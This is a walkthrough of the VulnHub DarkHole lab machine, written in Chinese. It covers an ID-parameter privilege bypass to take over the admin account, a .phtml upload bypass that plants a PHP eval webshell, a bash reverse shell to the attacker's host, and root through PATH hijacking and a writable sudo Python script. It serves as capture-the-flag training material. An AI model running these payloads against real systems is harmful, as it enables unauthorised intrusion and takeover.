靶機描述
靶機地址:https://download.vulnhub.com/darkhole/DarkHole.zip
Description
Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force
資訊收集
利用arp-scan -l命令掃描靶機IP
arp-scan -l
使用nmap掃描開放埠
nmap -sV -p- 192.168.75.169
發現開放了22和80埠
WEB服務測試
訪問80埠,點選login,進入登入頁面
註冊一個賬號(test:123456)
註冊成功後,登入系統,僅有更新個人資訊和修改密碼功能
越權
抓包分析一下,有一個ID引數,我們剛註冊的賬號ID為2,猜測管理員ID為1,修改ID為1放包,嘗試越權修改ID為1的賬號密碼
猜測ID為1的賬號使用者名稱為admin,嘗試登入成功,發現檔案上傳功能
獲取webshell
經過探索後發現可以透過字尾.phtml
繞過上傳php指令碼
<?php eval($_REQUEST[8]);?>
使用蟻劍連線,獲取到shell
反彈Shell
利用bash,反彈一個shell給Kali
bash -c 'bash -i >& /dev/tcp/192.168.75.150/9999 0>&1'
提權
如圖所示共三個使用者具有 /bin/bash,root,darkhole,john
cat /etc/passwd | grep "/bin/bash"
檢視一下系統中的檔案
發現一個可疑檔案toto
,是個二進位制檔案,執行一下
發現是二進位制檔案是id
的副本,它以使用者john
的身份執行,那可以建立一個具有相同名稱的自定義二進位制檔案將目錄匯出到PATH
(從前往後順序匹配),這樣使用id
命令時就會優先匹配此路徑下的id
檔案,執行toto
檔案使用john
身份呼叫id
命令時就會獲得shell
echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH
切換到了john
使用者,獲取一個互動式的shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
檢視系統檔案
檢視之前發現的password
,應該是john
的密碼,檢視下許可權
發現會以root
身份執行file.py
,並且我們有許可權對其進行更改,那就直接寫入shell
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py
獲得root
許可權,檢視flag